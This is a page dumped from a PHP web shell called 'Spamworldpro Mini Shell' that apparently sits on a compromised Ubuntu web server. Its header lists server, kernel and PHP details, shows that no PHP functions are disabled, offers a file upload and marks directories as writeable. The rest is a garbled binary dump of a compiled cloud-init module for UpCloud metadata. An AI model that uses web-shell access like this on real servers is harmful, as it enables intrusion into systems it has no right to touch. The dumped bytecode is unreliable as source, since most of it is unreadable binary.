Spamworldpro Mini Shell
Spamworldpro


Server : Apache/2.4.52 (Ubuntu)
System : Linux webserver 6.8.0-49-generic #49~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Nov 6 17:42:15 UTC 2 x86_64
User : www-data ( 33)
PHP Version : 8.1.2-1ubuntu2.21
Disable Function : NONE
Directory :  /lib/python3/dist-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/cloudinit/sources/__pycache__/DataSourceUpCloud.cpython-310.pyc
o

}��f�@s�ddlZddlmZddlmZmZddlmZddlm	Z	ddl
mZe�
e�ZddiZd	Zd
Zd
ZGdd�dej�ZGd
d�de�ZeejffeejejffgZdd�ZdS)�N)�net)�sources�util)�NoDHCPLeaseError)�EphemeralDHCPv4)�upcloud�metadata_urlz'http://169.254.169.254/metadata/v1.json��c@sHeZdZdZdZdd�Zdd�Zdd�Zd	d
�Zdd�Z	e
d
d��ZdS)�DataSourceUpCloud�UpCloudFcCs�tj�||||�||_t�|_t�t�|ddgi�t	g�|_
|j
d|_|j
�dt
�|_|j
�dt�|_|j
�dt�|_d|_d|_dS)N�
datasourcerr�retries�timeout�
wait_retry)r�
DataSource�__init__�distro�dict�metadatar�
mergemanydict�get_cfg_by_path�BUILTIN_DS_CONFIG�ds_cfg�metadata_address�get�
MD_RETRIESr�
MD_TIMEOUTr�
MD_WAIT_RETRYr�_network_config�
metadata_full)�self�sys_cfgr�paths�r$�E/usr/lib/python3/dist-packages/cloudinit/sources/DataSourceUpCloud.pyr"s��
zDataSourceUpCloud.__init__cCst��S�N)�	uc_helper�read_sysinfo�r!r$r$r%�_get_sysinfo3szDataSourceUpCloud._get_sysinfocCstj|j|j|j|jd�S)N)r�sec_betweenr)r'�
read_metadatarrrrr)r$r$r%�_read_metadata6s�z DataSourceUpCloud._read_metadatac
Cs�|��\}}|s
dSt�d|�|jrcz1t�d�t��}t�d|�t|j|��t	j
tjd|jd�}Wd�n1s>wYWnRtt
jfyb}zt	�tt|��WYd}~dSd}~wwzt�d�t	j
tjd|jd�}Wn"t
jy�}zt	�tt|��t�d|�WYd}~dSd}~ww||_|�d	|�|jd
<|�d�|jd<|�d
�|jd
<|�d�|jd<|�dd�|jd<|�dd�|_|�dd�|_dS)NFz"Running on UpCloud. server_uuid=%szFinding a fallback NICz*Discovering metadata via DHCP interface %szReading from metadata service)�logfunc�msg�funcz7Discovering metadata without DHCP-configured networkingzENo DHCP-enabled interfaces available, unable to fetch metadata for %s�instance_idzinstance-id�hostnamezlocal-hostname�network�public_keyszpublic-keys�region�default�availability_zone�vendor_data�	user_dataT)r*�LOG�info�perform_dhcp_setup�debug�cloudnet�find_fallback_nicrrr�log_timer-rr�InvalidMetaDataException�logexc�strr rr�vendordata_raw�userdata_raw)r!�
is_upcloud�server_uuid�nic�md�er$r$r%�	_get_data>sb
������
����	zDataSourceUpCloud._get_datacCst�|���Sr&)r�instance_id_matches_system_uuid�get_instance_id)r!r"r$r$r%�check_instance_idssz#DataSourceUpCloud.check_instance_idcCs6|jr|jS|j�d�}|std��t�|�|_|jS)z�
        Configure the networking. This needs to be done each boot,
        since the IP and interface information might have changed
        due to reconfiguration.
        r3z/Unable to get network meta-data from server....)rrr�RuntimeErrorr'�convert_network_config)r!�raw_network_configr$r$r%�network_configvs��z DataSourceUpCloud.network_configN)�__name__�
__module__�__qualname__�dsnamer<rr*r-rKrN�propertyrRr$r$r$r%rs5rc@seZdZdZdZdS)�DataSourceUpCloudLocalaz
    Run in init-local using a DHCP discovery prior to metadata crawl.

    In init-local, no network is available. This subclass sets up minimal
    networking with dhclient on a viable nic so that it can talk to the
    metadata service. If the metadata service provides network configuration
    then render the network configuration for that instance based on metadata.
    TN)rSrTrU�__doc__r<r$r$r$r%rX�s	rXcCst�|t�Sr&)r�list_from_depends�datasources)�dependsr$r$r%�get_datasource_list�sr])�logging�	cloudinitrr>rr�cloudinit.net.dhcpr�cloudinit.net.ephemeralr�cloudinit.sources.helpersrr'�	getLoggerrSr:rrrrrrrX�DEP_FILESYSTEM�DEP_NETWORKr[r]r$r$r$r%�<module>s"
s
�

Spamworldpro Mini